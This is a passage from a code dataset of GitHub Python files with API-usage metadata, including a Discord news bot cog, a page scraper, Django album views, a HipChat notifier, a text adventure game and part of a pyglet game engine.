"cv2.COLOR_RGB2BGR", "line_number": 40, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "keras.layers.Input", "line_number": 56, "usage_type": "call"}, {"api_name": "tensorflow.keras.applications.EfficientNetB0", "line_number": 57, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 57, "usage_type": "attribute"}, {"api_name": "keras.layers.GlobalAveragePooling2D", "line_number": 63, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 64, "usage_type": "call"}, {"api_name": "keras.Model", "line_number": 67, "usage_type": "call"}, {"api_name": "keras.optimizers.Adam", "line_number": 80, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 87, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 90, "usage_type": "call"}, {"api_name": "cv2.INTER_LINEAR", "line_number": 90, "usage_type": "attribute"}]} {"seq_id": "38888874683", "text": "from discord.ext import commands\r\nimport discord\r\nfrom orjson import loads\r\nimport urllib.parse\r\nimport asyncio\r\n\r\nfrom utils import Bot\r\n\r\n\r\nclass MyNews(commands.Cog):\r\n\r\n def __init__(self, bot: Bot):\r\n self.bot = bot\r\n\r\n @commands.group(description=\"みんなのニュース機能\")\r\n async def mynews(self, ctx: commands.Context):\r\n if ctx.invoked_subcommand is None:\r\n return await ctx.send(\"使用方法が違います。\")\r\n\r\n async def input(self, ctx: commands.Context, q: str):\r\n def check(m):\r\n return m.author == ctx.author and m.channel == ctx.channel\r\n await ctx.send(q)\r\n while True:\r\n try:\r\n message = await self.bot.wait_for('message', timeout=180.0, check=check)\r\n except asyncio.TimeoutError:\r\n await ctx.channel.send('入力を待機中です。キャンセルする場合は「キャンセルする」と送ってください')\r\n else:\r\n if message.content == \"キャンセルする\":\r\n raise TimeoutError()\r\n await ctx.channel.send(\"入力を受け付けました。確定する場合は「ok」と送って下さい。やり直す場合は「修正」と送ってください\")\r\n while True:\r\n try:\r\n message1 = await self.bot.wait_for('message', timeout=180.0, check=check)\r\n except asyncio.TimeoutError:\r\n await ctx.channel.send('タイムアウトしました。入力をやりなおしてください')\r\n break\r\n else:\r\n if message1.content == \"ok\":\r\n return message\r\n elif message1.content == \"修正\":\r\n break\r\n\r\n @mynews.command(description=\"ニュースを投稿します\")\r\n async def post(self, ctx: commands.Context):\r\n await ctx.send(\"投稿を開始します\")\r\n req = {\"did\": str(ctx.author.id), \"diname\": str(ctx.author)}\r\n try:\r\n req[\"ti\"] = (await self.input(ctx, \"ニュースのタイトルを入力してください\")).content\r\n req[\"val\"] = (await self.input(ctx, \"ニュースの本文を入力してください\")).content\r\n await ctx.send(\"送信しています\")\r\n async with self.bot.session.post(\r\n \"http://ysmsrv.wjg.jp/news/sendbydiscord.php\", data=req\r\n ) as resp:\r\n rpt = await resp.text()\r\n await ctx.send(rpt)\r\n except TimeoutError:\r\n await ctx.send(\"投稿をキャンセルしました\")\r\n\r\n @mynews.command(description=\"ニュースを検索します\")\r\n async def day(self, ctx: commands.Context, day: str):\r\n async with self.bot.session.get(\r\n \"https://ysmsrv.wjg.jp/news/timebydiscord.php?input_date=\",\r\n query=urllib.parse.quote_plus(day, encoding='utf-8')\r\n ) as resp:\r\n rpt = await resp.json()\r\n if rpt == []:\r\n await ctx.reply(\"すみません。何も見つかりませんでした。日付を確認してみてください。例:2022/07/10\")\r\n else:\r\n gj = rpt\r\n vie = discord.ui.View()\r\n if len(gj) >= 25:\r\n tmp = []\r\n for g in gj:\r\n if len(tmp) == 24:\r\n vie.add_item(SearchList(tmp, self.bot))\r\n tmp = []\r\n tmp.append(g)\r\n vie.add_item(SearchList(tmp, self.bot))\r\n else:\r\n vie.add_item(SearchList(gj, self.bot))\r\n await ctx.send(\"見たい記事を選択してください\", view=vie)\r\n\r\n @mynews.command(description=\"今日のニュースを表示します\")\r\n async def today(self, ctx: commands.Context):\r\n async with self.bot.session.get(\"https://ysmsrv.wjg.jp/news/apitoday.php\") as resp:\r\n rpt = await resp.text()\r\n if rpt == \"[]\":\r\n await ctx.reply(\"すみません。何も見つかりませんでした。もし投稿したいnewsがある場合はnews postコマンドで投稿できます\")\r\n else:\r\n gj = loads(rpt)\r\n vie = discord.ui.View()\r\n if len(gj) >= 25:\r\n tmp = []\r\n for g in gj:\r\n if len(tmp) == 24:\r\n vie.add_item(SearchList(tmp, self.bot))\r\n tmp = []\r\n tmp.append(g)\r\n if tmp:\r\n vie.add_item(SearchList(tmp, self.bot))\r\n else:\r\n vie.add_item(SearchList(gj, self.bot))\r\n await ctx.send(\"見たい記事を選択してください\", view=vie)\r\n\r\n\r\nasync def getusername(userid: str, bot: Bot):\r\n async with bot.session.get(\"https://ysmsrv.wjg.jp/news/\" + userid) as resp:\r\n rpt = await resp.text()\r\n return rpt\r\n\r\n\r\nclass SearchList(discord.ui.Select):\r\n def __init__(self, args: list[dict[str, str]], bot: Bot):\r\n self.its = args\r\n self.bot = bot\r\n options = []\r\n for item in args:\r\n item[\"title\"] = item[\"title\"] or \"No title\"\r\n options.append(discord.SelectOption(label=item[\"title\"], description=''))\r\n\r\n super().__init__(placeholder='', min_values=1, max_values=1, options=options)\r\n\r\n async def callback(self, interaction: discord.Interaction):\r\n for item in self.its:\r\n if item[\"title\"] == self.values[0]:\r\n ebd = discord.Embed(\r\n title=item[\"title\"], description=item[\"text\"], color=self.bot.Color\r\n ).add_field(name=\"投稿者\", value=(await getusername(item[\"user\"], self.bot)))\r\n await interaction.response.edit_message(embed=ebd)\r\n\r\n\r\nasync def setup(bot: Bot):\r\n await bot.add_cog(MyNews(bot))\r\n", "repo_name": "SakuraProject/sakura-bot", "sub_path": "cogs/entertainment/mynews.py", "file_name": "mynews.py", "file_ext": "py", "file_size_in_byte": 5977, "program_lang": "python", "lang": "ja", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "78", "api": [{"api_name": "discord.ext.commands.Cog", "line_number": 10, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 10, "usage_type": "name"}, {"api_name": "utils.Bot", "line_number": 12, "usage_type": "name"}, {"api_name": "discord.ext.commands.Context", "line_number": 16, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 16, "usage_type": "name"}, {"api_name": "discord.ext.commands.group", "line_number": 15, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 15, "usage_type": "name"}, {"api_name": "discord.ext.commands.Context", "line_number": 20, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 20, "usage_type": "name"}, {"api_name": "asyncio.TimeoutError", "line_number": 27, "usage_type": "attribute"}, {"api_name": "asyncio.TimeoutError", "line_number": 36, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.Context", "line_number": 46, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 46, "usage_type": "name"}, {"api_name": "discord.ext.commands.Context", "line_number": 62, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 62, "usage_type": "name"}, {"api_name": "urllib.parse.parse.quote_plus", "line_number": 65, "usage_type": "call"}, {"api_name": "urllib.parse.parse", "line_number": 65, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 65, "usage_type": "name"}, {"api_name": "discord.ui.View", "line_number": 72, "usage_type": "call"}, {"api_name": "discord.ui", "line_number": 72, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.Context", "line_number": 86, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 86, "usage_type": "name"}, {"api_name": "orjson.loads", "line_number": 92, "usage_type": "call"}, {"api_name": "discord.ui.View", "line_number": 93, "usage_type": "call"}, {"api_name": "discord.ui", "line_number": 93, "usage_type": "attribute"}, {"api_name": "utils.Bot", "line_number": 108, "usage_type": "name"}, {"api_name": "discord.ui", "line_number": 114, "usage_type": "attribute"}, {"api_name": "utils.Bot", "line_number": 115, "usage_type": "name"}, {"api_name": "discord.SelectOption", "line_number": 121, "usage_type": "call"}, {"api_name": "discord.Interaction", "line_number": 125, "usage_type": "attribute"}, {"api_name": "discord.Embed", "line_number": 128, "usage_type": "call"}, {"api_name": "utils.Bot", "line_number": 134, "usage_type": "name"}]} {"seq_id": "33864750925", "text": "# -*- coding:utf-8 -*- \r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\n\r\nurlout = 'https://www.youtube.com/'\r\nurlout1 = 'https://www.tumblr.com/'\r\nurlin = 'https://www.zhihu.com/'\r\nurliour = 'http://iour.co/category/jav-uncensored/'\r\nurliourpage = 'http://iour.co/category/jav-uncensored/page/'\r\nproxies = {\r\n 'http': 'http://127.0.0.1:8087',\r\n 'https': 'http://127.0.0.1:8087',\r\n}\r\n\r\n\"\"\"\r\nr = requests.get(urliour, proxies=proxies, verify=False)\r\npagefile = open('iour.html', 'w')\r\npagefile.write(r.text)\r\n\"\"\"\r\n\r\npagefile = open('iour.html', 'r')\r\npage = pagefile.read()\r\nsoup = BeautifulSoup(page, 'html.parser')\r\ndivs = soup.find_all('div', class_='thumb-img')\r\nfor div in divs:\r\n\t#print div\r\n\ta = div.find('a')\r\n\ttitle = a['title']\r\n\tpagelink = a['href']\r\n\timg = a.find('img')\r\n\timglink = img['src']\r\n\r\n\t#print title\r\n\t#print pagelink\r\n\t#print imglink\r\n\t#print \r\n\r\nlast = soup.find('a', class_='last')\r\nmaxpage = last['href'].split('/')[-1]#取最后一个\r\nmaxpage = int(maxpage)\r\n\r\n\r\nfor i in range(maxpage+1):\r\n\tr = requests.get(urliourpage+'%d'%i, proxies=proxies, verify=False)\r\n\tpagefile = open('iour.html%d'%i, 'w')\r\n\tpagefile.write(r.text)\r\n\r\n\r\n\r\n", "repo_name": "topliugang/fuckPython", "sub_path": "fuckJiekou/iourparser.py", "file_name": "iourparser.py", "file_ext": "py", "file_size_in_byte": 1175, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "bs4.BeautifulSoup", "line_number": 23, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 44, "usage_type": "call"}]} {"seq_id": "71654029372", "text": "'''\n@Author: Mr Bean\n@Date: 2019-05-12 00:44:18\n@LastEditors: Mr Bean\n@LastEditTime: 2019-05-13 17:06:58\n@Description: 自定义静态工具类\n'''\n\nimport re\nfrom pypinyin import lazy_pinyin, Style\n\n\nclass KTools(object):\n \"\"\" 自定义工具类 \"\"\"\n\n @staticmethod\n def cnToPinYin(hanZi):\n '''\n 汉字转拼音首字母\n\n Params:\n hanZi - 需要转换的汉字\n\n Return:\n 返回汉字拼音首字母字符串\n\n '''\n pattern = r\"[\\(\\)\\?\\*？（） +]\"\n tmp_str = ''\n pinyin = lazy_pinyin(hanZi, style=Style.FIRST_LETTER, strict=False)\n for item in pinyin:\n tmp_str += item\n\n result_str = re.sub(pattern, '', tmp_str)\n\n return result_str\n\n @staticmethod\n def dbToDict(val):\n \"\"\"\n 把查询返回的数据处理成列表\n\n Parameters:\n val - 查询返回的数据\n\n Returns:\n 返回列表(list)\n\n \"\"\"\n result_json = []\n for item in val:\n tmp_dict = {\"id\": item.id, \"name\": item.name}\n result_json.append(tmp_dict)\n return result_json\n \n\nif __name__ == '__main__':\n s = '你好(是)?**天*（王）加？ sss+++'\n r = KTools.cnToPinYin(s)\n print(r)\n", "repo_name": "hello-rgv/work_servers", "sub_path": "App/MyToos.py", "file_name": "MyToos.py", "file_ext": "py", "file_size_in_byte": 1284, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pypinyin.lazy_pinyin", "line_number": 30, "usage_type": "call"}, {"api_name": "pypinyin.Style.FIRST_LETTER", "line_number": 30, "usage_type": "attribute"}, {"api_name": "pypinyin.Style", "line_number": 30, "usage_type": "name"}, {"api_name": "re.sub", "line_number": 34, "usage_type": "call"}]} {"seq_id": "27429579594", "text": "from django.urls import reverse_lazy\r\nfrom django.views.generic import CreateView, DeleteView, UpdateView, ListView, DetailView\r\nfrom album.models import Selection, Player\r\nfrom django.db.models import Value\r\nfrom django.db.models.functions import Concat\r\n\r\n# Create your views here.\r\n\r\n## Selection\r\n\r\nclass SelectionListView(ListView):\r\n model = Selection\r\n\r\n def get_queryset(self):\r\n queryset = super().get_queryset()\r\n\r\n # Get the value of the 'query' query parameter\r\n query = self.request.GET.get('query')\r\n\r\n # Filter the queryset based on the 'query' parameter if provided\r\n if query:\r\n queryset = queryset.filter(name__icontains=query)\r\n\r\n return queryset\r\n\r\nclass SelectionDetailView(DetailView):\r\n model = Selection\r\n\r\n\r\nclass SelectionCreate(CreateView):\r\n model = Selection\r\n fields = '__all__'\r\n\r\n def get_context_data(self, **kwargs):\r\n context = super().get_context_data(**kwargs)\r\n \r\n # Add additional data to the context dictionary\r\n additional_data = {\r\n 'type': 'create',\r\n }\r\n \r\n context.update(additional_data)\r\n return context\r\n\r\n\r\nclass SelectionUpdate(UpdateView):\r\n model = Selection\r\n fields = '__all__'\r\n\r\n def get_context_data(self, **kwargs):\r\n context = super().get_context_data(**kwargs)\r\n \r\n # Add additional data to the context dictionary\r\n additional_data = {\r\n 'type': 'update',\r\n }\r\n \r\n context.update(additional_data)\r\n return context\r\n\r\n\r\nclass SelectionDelete(DeleteView):\r\n model = Selection\r\n success_url = reverse_lazy('selection-list')\r\n\r\n\r\n## Player\r\n\r\nclass PlayerListView(ListView):\r\n model = Player\r\n \r\n def get_queryset(self):\r\n queryset = super().get_queryset()\r\n\r\n # Get the value of the 'query' query parameter\r\n query = self.request.GET.get('query')\r\n\r\n # Filter the queryset based on the 'query' parameter if provided\r\n if query:\r\n queryset = queryset.annotate(\r\n full_name=Concat('first_name', Value(' '), 'last_name')\r\n ).filter(full_name__icontains=query)\r\n \r\n return queryset\r\n\r\n\r\nclass PlayerDetailView(DetailView):\r\n model = Player\r\n\r\n\r\nclass PlayerUpdate(UpdateView):\r\n model = Player\r\n fields = '__all__' \r\n\r\n def get_context_data(self, **kwargs):\r\n context = super().get_context_data(**kwargs)\r\n \r\n # Add additional data to the context dictionary\r\n additional_data = {\r\n 'type': 'update',\r\n }\r\n \r\n context.update(additional_data)\r\n return context\r\n\r\n\r\nclass PlayerCreate(CreateView):\r\n model = Player\r\n fields = '__all__'\r\n\r\n def get_context_data(self, **kwargs):\r\n context = super().get_context_data(**kwargs)\r\n \r\n # Add additional data to the context dictionary\r\n additional_data = {\r\n 'type': 'create',\r\n }\r\n \r\n context.update(additional_data)\r\n return context\r\n\r\n\r\nclass PlayerDelete(DeleteView):\r\n model = Player\r\n success_url = reverse_lazy('player-list')\r\n\r\n", "repo_name": "Dark-Light-20/album-mundial-femenino-django", "sub_path": "album/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 3209, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.views.generic.ListView", "line_number": 11, "usage_type": "name"}, {"api_name": "album.models.Selection", "line_number": 12, "usage_type": "name"}, {"api_name": "django.views.generic.DetailView", "line_number": 26, "usage_type": "name"}, {"api_name": "album.models.Selection", "line_number": 27, "usage_type": "name"}, {"api_name": "django.views.generic.CreateView", "line_number": 30, "usage_type": "name"}, {"api_name": "album.models.Selection", "line_number": 31, "usage_type": "name"}, {"api_name": "django.views.generic.UpdateView", "line_number": 46, "usage_type": "name"}, {"api_name": "album.models.Selection", "line_number": 47, "usage_type": "name"}, {"api_name": "django.views.generic.DeleteView", "line_number": 62, "usage_type": "name"}, {"api_name": "album.models.Selection", "line_number": 63, "usage_type": "name"}, {"api_name": "django.urls.reverse_lazy", "line_number": 64, "usage_type": "call"}, {"api_name": "django.views.generic.ListView", "line_number": 69, "usage_type": "name"}, {"api_name": "album.models.Player", "line_number": 70, "usage_type": "name"}, {"api_name": "django.db.models.functions.Concat", "line_number": 81, "usage_type": "call"}, {"api_name": "django.db.models.Value", "line_number": 81, "usage_type": "call"}, {"api_name": "django.views.generic.DetailView", "line_number": 87, "usage_type": "name"}, {"api_name": "album.models.Player", "line_number": 88, "usage_type": "name"}, {"api_name": "django.views.generic.UpdateView", "line_number": 91, "usage_type": "name"}, {"api_name": "album.models.Player", "line_number": 92, "usage_type": "name"}, {"api_name": "django.views.generic.CreateView", "line_number": 107, "usage_type": "name"}, {"api_name": "album.models.Player", "line_number": 108, "usage_type": "name"}, {"api_name": "django.views.generic.DeleteView", "line_number": 123, "usage_type": "name"}, {"api_name": "album.models.Player", "line_number": 124, "usage_type": "name"}, {"api_name": "django.urls.reverse_lazy", "line_number": 125, "usage_type": "call"}]} {"seq_id": "33923513975", "text": "#!/usr/bin/env python3\nimport json\nimport urllib.request\nimport argparse\n\ndef create_argument_paser():\n parser = argparse.ArgumentParser(description='Send hipchat room notification.')\n parser.add_argument('--token', dest='token', required=True, type=str, help='room notification token')\n parser.add_argument('--url', dest='url', required=True, type=str, help='room notification url')\n parser.add_argument('--from', dest='from_name', required=True, type=str, help='from name')\n parser.add_argument('--color', dest='color', type=str, default='yellow', help='color')\n parser.add_argument('--notify', dest='notify', type=str, default='true', help='enable notify')\n parser.add_argument('--message', dest='message', type=str, help='message')\n parser.add_argument('--message-file', dest='message_file', type=str, help='message file path')\n return parser\n\ndef send_room_notification(args):\n url = args.url\n body = {\n 'from': args.from_name,\n 'message_format': 'text',\n 'color': args.color,\n 'notify': args.notify,\n 'message': args.message\n }\n if not args.message and args.message_file:\n with open(args.message_file, 'r', encoding='utf-8', errors='ignore') as msg_file:\n body['message'] = msg_file.read()\n req = urllib.request.Request(url, json.dumps(body).encode('utf-8'))\n req.add_header('Authorization', 'Bearer ' + args.token)\n req.add_header('Content-Type', 'application/json')\n urllib.request.urlopen(req)\n\ndef main():\n parser = create_argument_paser()\n args = parser.parse_args()\n send_room_notification(args)\n \nif __name__ == '__main__':\n main()", "repo_name": "TopLuk/DevOps", "sub_path": "jenkins-pipeline/hipchat-room-notification/hipchat-room-notification.py", "file_name": "hipchat-room-notification.py", "file_ext": "py", "file_size_in_byte": 1663, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 7, "usage_type": "call"}, {"api_name": "urllib.request.request.Request", "line_number": 29, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 29, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 29, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 29, "usage_type": "call"}, {"api_name": "urllib.request.request.urlopen", "line_number": 32, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 32, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 32, "usage_type": "name"}]} {"seq_id": "8172168246", "text": "#!/usr/bin/python3\n\"\"\"Driving a simple game framework with\n a dictionary object | Alta3 Research\"\"\"\n\n# imports\nimport pyfiglet\nimport threading\nimport os\nfrom rooms import roominfo\n\ntitle = pyfiglet.figlet_format(\"Ishindu's fate\" ,font = \"slant\")\n\ndef decision():\n print(\"You took too long! you have suffocated!!\")\n os._exit(os.EX_OK) \n\n\ndef showInstructions():\n \"\"\"Show the game instructions when called\"\"\"\n #print a main menu and the commands\n\n print(title) \n\n print('''\n ======================================================================\n This is the story of the gods\n Location: SouthEast Nigeria, pre-colonial Alaigbo(igboland).\n ======================================================================\n Commands:\n go [direction]\n get [item]\n \n # directions[north, south, east, west]\n ''')\n\ndef showStatus():\n \"\"\"determine the current status of the player\"\"\"\n #print description\n print(roominfo[currentRoom]['desc'])\n #print the current inventory\n print('Inventory : ' + str(inventory))\n\n#an inventory, which is initially empty\ninventory = []\n#start the player in the Hall\ncurrentRoom = 'Hall'\n\nshowInstructions()\n\n#loop forever\nwhile True:\n showStatus()\n\n move = ''\n while move == '': \n move = input('>')\n \n move = move.lower().split(\" \", 1)\n os.system('clear') # clear the screen\n\n #get moves: player is in the hall and gets key\n #if move == 'get' 'key' \n if move[0] == 'get' and move[1] == 'key':\n #if the room contains key, and the key is the one they want to get\n if \"item\" in roominfo[currentRoom] and move[1] in roominfo[currentRoom]['item']:\n #add key to their inventory\n inventory += [move[1]]\n #display a helpful message\n print('you have collected a ' + move[1])\n\n #delete key from the room\n del roominfo[currentRoom]['item']\n \n print(f\"inventory : {inventory}\")\n continue\n else:\n print('You cant get ' + move[1] + '!')\n #otherwise, if key isn't there to get\n\n #if player is in the South_wing and gets map or lantern\n if move[0] == 'get' and move[1] == 'map':\n #if the room contains an item, and the item is the one they want to get\n if \"item\" in roominfo[currentRoom] and move[1] in roominfo[currentRoom]['item']:\n #add the item to their inventory\n inventory += [move[1]]\n #display a helpful message\n print('you have just acquired a ' + move[1] + '. You glance through and theres directions around the shrine.\\n'\n '===================\\n'\n '| MAP oF MBARI |\\n'\n '===================\\n'\n 'You are in the south wing \\n'\n 'To the north of the south wing is the Hall \\n'\n 'To the east of the hall is the east wing \\n'\n 'To the west of the hall, you will find a secret doorway \\n'\n 'Find ekwensu before he finds you \\n'\n 'and pray to your Alusi that you have the means to trap his essence forever \\n'\n 'to complete this quest is to find your way to the mouth of the sacred grove. \\n'\n 'BEWARE of TRAPS!!!'\n )\n #delete the item from the room\n del roominfo[currentRoom]['item'][0]\n\n elif move[0] == 'get' and move[1] == 'lantern':\n if \"item\" in roominfo[currentRoom] and move[1] in roominfo[currentRoom]['item']:\n #add the item to their inventory\n inventory += [move[1]]\n #display a helpful message\n print('you have collected a ' + move[1])\n\n #delete the item from the room\n del roominfo[currentRoom]['item'][1]\n\n print(f\"inventory : {inventory}\")\n else:\n print('You cant get ' + move[1] + '!')\n #otherwise, if the item isn't there to get\n continue\n\n\n ## player go moves\n if move[0] == 'go' :\n if move[1] in roominfo[currentRoom]:\n currentRoom = roominfo[currentRoom][move[1]]\n print(currentRoom)\n if currentRoom == \"South_wing\" :\n print('the Hall is north of the South_wing')\n\n elif currentRoom == \"Secret_doorway\" : \n if 'key' in inventory:\n print(\n \"================================================================================================================================================================= \\n\"\n \"You have suddenly found yourself in a crypt and the door quickly snaps shut behind you.It is pitch dark and drafty. \\n\"\n \"================================================================================================================================================================= \" )\n if 'lantern' in inventory:\n S = threading.Timer(15.0, decision)\n print(\n \"================================================================================================================================================================= \\n\"\n \"luckily you snagged a lantern from the south wing. you turn your latern on and as the light brightens the room, you notice 3 distinctly marked statues. \\n \"\n '3 figures are arranged carefully against the crypt\\'s interior wall. They are marked boldly with the numbers 6 7 2 respectively. You now have 15 seconds to \\n'\n 'figure out the combinations and escape before you suffocate \\n'\n \"================================================================================================================================================================= \\n\")\n S.start()\n move = input('>')\n if move == '276':\n S.cancel()\n inventory += ['golden_orb']\n del roominfo[currentRoom]['item']\n print(\"THE GODS ARE WITH YOU! They have bestowed on you the golden_orb with which to banish Ekwensu. You live to fight another day warrior\")\n\n else:\n decision()\n # os._exit will FORCE the program to end! \n else:\n print( \"================================================================================================================================================================= \\n\"\n 'You have entered the crypt with no lantern to see around. You could not find the statues that would give you th ecode to the booby trap. You are crushed. GAME OVER!!! \\n'\n \"=================================================================================================================================================================\")\n os._exit(os.EX_OK) \n else:\n print('You cannot go that way. You need a key')\n continue\n elif currentRoom == \"East_wing\" :\n if 'Ekwensu' in roominfo[currentRoom]['item'] and \"golden_orb\" in inventory:\n print('You entered the room Ekwensu dwells in. You have the golden orb in your possession. Ala has granted you the power to seal Ekwensu away in her womb forever... \\n'\n 'Thank you for your service Warrior, YOU WIN!')\n os._exit(os.EX_OK)\n elif 'Ekwensu' in roominfo[currentRoom]['item'] and \"golden_orb\" not in inventory: \n print('You entered the room Ekwensu dwells in. You do not have the golden orb with you. You cannot defeat the tricky Ekwensu without the power of Ala. You have failed this \\n'\n 'time Warrior. GAME OVER!!')\n os._exit(os.EX_OK)\n else:\n print(\"You cannot go \" + move[1] + '!')\n \n \n ## Define how a player can win\n if currentRoom == 'Grove_mouth' and 'key' in inventory:\n print('You have succeeded in vanquising the evil mascqurade Ekwensu and discovered the ULTRA RARE telepotion... YOU WIN!')\n break\n ", "repo_name": "themabe/mycode", "sub_path": "the_teamakers_daughter/mygame01.py", "file_name": "mygame01.py", "file_ext": "py", "file_size_in_byte": 8385, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pyfiglet.figlet_format", "line_number": 11, "usage_type": "call"}, {"api_name": "os._exit", "line_number": 15, "usage_type": "call"}, {"api_name": "os.EX_OK", "line_number": 15, "usage_type": "attribute"}, {"api_name": "rooms.roominfo", "line_number": 39, "usage_type": "name"}, {"api_name": "os.system", "line_number": 59, "usage_type": "call"}, {"api_name": "rooms.roominfo", "line_number": 65, "usage_type": "name"}, {"api_name": "rooms.roominfo", "line_number": 72, "usage_type": "name"}, {"api_name": "rooms.roominfo", "line_number": 83, "usage_type": "name"}, {"api_name": "rooms.roominfo", "line_number": 101, "usage_type": "name"}, {"api_name": "rooms.roominfo", "line_number": 104, "usage_type": "name"}, {"api_name": "rooms.roominfo", "line_number": 111, "usage_type": "name"}, {"api_name": "rooms.roominfo", "line_number": 122, "usage_type": "name"}, {"api_name": "rooms.roominfo", "line_number": 123, "usage_type": "name"}, {"api_name": "threading.Timer", "line_number": 135, "usage_type": "call"}, {"api_name": "rooms.roominfo", "line_number": 147, "usage_type": "name"}, {"api_name": "os._exit", "line_number": 157, "usage_type": "call"}, {"api_name": "os.EX_OK", "line_number": 157, "usage_type": "attribute"}, {"api_name": "rooms.roominfo", "line_number": 162, "usage_type": "name"}, {"api_name": "os._exit", "line_number": 165, "usage_type": "call"}, {"api_name": "os.EX_OK", "line_number": 165, "usage_type": "attribute"}, {"api_name": "rooms.roominfo", "line_number": 166, "usage_type": "name"}, {"api_name": "os._exit", "line_number": 169, "usage_type": "call"}, {"api_name": "os.EX_OK", "line_number": 169, "usage_type": "attribute"}]} {"seq_id": "9172172993", "text": "import pyglet\nfrom things import pick_thing, Jar\nfrom background import Background\nfrom cursor import Cursor\nimport random\n\nclass Engine(object):\n state = {'jar_capacity': 10}\n\n def __init__(self, window):\n self.window = window\n\n self.sprites = pyglet.graphics.Batch()\n self.full_jars = pyglet.graphics.Batch()\n self.background_group = pyglet.graphics.OrderedGroup(0)\n self.things_group = pyglet.graphics.OrderedGroup(1)\n self.cursor_group = pyglet.graphics.OrderedGroup(2)\n self.interface_group = pyglet.graphics.OrderedGroup(3)\n\n self.score_sprite = pyglet.sprite.Sprite(pyglet.resource.image(\n 'jar_full.png'), batch=self.sprites, group=self.interface_group)\n self.score_sprite.x = 20\n self.score_sprite.y = window.height - 20 - self.score_sprite.height\n\n pyglet.resource.add_font('FredokaOne-Regular.ttf')\n fredoka_one = pyglet.font.load('Fredoka One')\n\n self.score_label = pyglet.text.Label('0', x=80,\n y=self.score_sprite.y + self.score_sprite.height/2,\n anchor_y='center', font_name='Fredoka One', font_size=16,\n batch=self.sprites, group=self.interface_group)\n\n self.final_score_label = pyglet.text.Label('0', x=window.width/2,\n y=window.height/2, anchor_x='center', anchor_y='center',\n font_size=32)\n\n heart_image = pyglet.resource.image('heart.png')\n self.hearts = []\n for i in range(3):\n x = i * 35 + 20\n sprite = pyglet.sprite.Sprite(heart_image, batch=self.sprites,\n group=self.interface_group)\n sprite.x = x\n sprite.y = 20\n self.hearts.append(sprite)\n\n self.start_label = pyglet.text.Label('Click to Start', x=window.width/2,\n y=window.height/2 - 40, anchor_x='center', anchor_y='top',\n font_name='Fredoka One', font_size=20)\n\n self.title = pyglet.resource.image('title.png')\n self.title.anchor_x = self.title.width/2\n\n splat_image = pyglet.resource.image('splat.png')\n self.splat = pyglet.sprite.Sprite(splat_image)\n\n self.bg = Background(self)\n self.cursor = Cursor(self)\n\n @window.event\n def on_draw():\n self.window.clear()\n if self.state['mode'] == 'title':\n self.bg.draw()\n self.start_label.draw()\n self.title.blit(window.width/2, window.height/2)\n elif self.state['mode'] == 'game':\n self.bg.draw()\n self.sprites.draw()\n elif self.state['mode'] == 'lose':\n self.bg.draw()\n self.full_jars.draw()\n self.final_score_label.draw()\n if self.splat.opacity:\n self.splat.draw()\n\n @window.event\n def on_mouse_press(x, y, button, modifiers):\n if self.state['mode'] == 'lose':\n self.change_mode('title')\n elif self.state['mode'] == 'title':\n self.change_mode('game')\n\n @window.event\n def on_mouse_motion(x, y, dx, dy):\n if self.state['mode'] == 'game':\n self.cursor.set_position(dx)\n\n @window.event\n def on_key_press(symbol, modifiers):\n if symbol == pyglet.window.key.P:\n self.toggle_pause()\n\n self.change_mode('title')\n\n def init_game(self):\n pyglet.clock.unschedule(self.update)\n 